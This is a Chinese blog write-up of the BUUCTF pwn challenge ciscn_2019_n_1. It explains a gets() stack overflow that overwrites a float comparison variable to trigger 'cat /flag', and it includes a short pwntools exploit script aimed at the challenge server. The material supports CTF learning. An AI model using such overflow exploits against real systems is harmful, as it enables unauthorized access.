首页 > 其他分享 >BUUctf ciscn_2019_n_1

BUUctf ciscn_2019_n_1

时间:2023-02-28 14:13:59浏览次数:47  
标签:BUUctf ciscn 44 v2 2019 gets payload

BUU ciscn_2019_n_1

首先file,是64位elf

IDA,发现main函数会调用func函数,而func中如果v2=11.28125,就会cat /flag,并且上面有个gets,存在栈溢出漏洞
image
压栈的过程是v1的44字节,然后压栈v2,但是v2是一个float,该如何表示呢?

我们需要找到gets附近的汇编代码,可以看到call gets后就是if语句的逻辑

  • 将[rbp+var_4]的内容赋给了xmm0。这个[rbp+var_4]就是栈中的v2
  • 然后使用ucomiss进行单精度浮点数比较cs:dword_4007F4和xmm0的值,cs:dword_4007F4就是11.28125的位置,双击可以看到它表示为41348000h
    image

所以可以构造payload,填入44字节+41348000h即可获得flag

from pwn import *
p = remote("node4.buuoj.cn",29450)
payload = b'0'*44 + p64(0x41348000)
p.sendline(payload)
p.interactive()

标签:BUUctf,ciscn,44,v2,2019,gets,payload
From: https://www.cnblogs.com/nemuzuki/p/17164040.html

相关文章

  • BUUctf warmup_csaw_2016
    BUUwarmup_csaw_2016首先file,发现是64位ELF文件。IDA发现main函数中return了get函数,存在溢出点。查看文件中的字符串,发现有'catflag.txt'双击后发现在sub_40060D......
  • BUUCTF—CRYPTO 1—10
    BUUCTF—CRYPTO1—101、MD5题目:e00cf25ad42683b3df678c61f42c6bda解析:看题目就知道是MD5加密,直接上在线解码网站解码,答案是:flag2、BASE64题目:ZmxhZ3tUSEVfRkxBR19PRl......
  • 【题解】CTT 2019 Day 2
    目录A.循环序列B.MatrixC.杀蚂蚁简单版A.循环序列即求\(\sum\limits_{i=0}^{c}{k\choosem+in}\),即\(\frac{1}{n}\sum\limits_{j=0}^{n-1}\sum\limits_{i=0}^{k-m}......
  • 【题解】CTT 2019 Day 1
    目录A.递增树列B.异世界的文章分割者C.时间旅行A.递增树列令\(f_{u,i}\)表示\(u\)的子树,已经用掉\(i\)个点,剩下的点排列满足要求的方案数。考虑方案的计算,用......
  • P6659 [POI 2019] Najmniejsza wspólna wielokrotność 题解
    题意给定一个整数\(M\),求是否存在一个区间\([a,b]\)使得\(M\)为\([a,b]\)这个区间中所有数的最小公倍数。解题方法1.区间长度\(=2\)。二分查找\(a\),由于相......
  • SQL server 2019 Express 安装及其一些问题
    1.安装步骤我是遇到问题后,从B站上面查找的参考资料,因为不知道是否涉及版权问题,所以大家自己搜索一下1.从官网上下载安装包,我下载的是Express版,文件名字如......
  • THUPC2019 令人难以忘记的题目名称 题解
    首先感性感觉这个东西是比较有循环节的,但这是后话。最后几步一定是差分相同->每个数相同->全为0。不平凡地猜想差分\(k\)次全\(0\)等价于可以\(k\)步胜利。假设......
  • P5616 [MtOI2019]恶魔之树 题解
    期望就是来搞笑的。由于有最小公倍数,所以可以想到分解质因数,对于多个数求最小公倍数,取每个质因子的最大指数,最后相乘即可。既然都知道了这个,那么就想到先统计每个数的个......
  • POJ 2019 Cornfields (二维RMQ,3级)
    B-CornfieldsCrawlinginprocess...CrawlingfailedTimeLimit:1000MS    MemoryLimit:30000KB    64bitIOFormat:%I64d&%I64u​​Submit​......
  • Matlab 2019a 中文破解版软件包下载及图文安装教程​
    MATLAB是美国MathWorks公司出品的商业数学软件。它在数学类科技应用软件中在数值计算方面首屈一指。行矩阵运算、绘制函数和数据、实现算法、创建用户界面、连接其他编程语......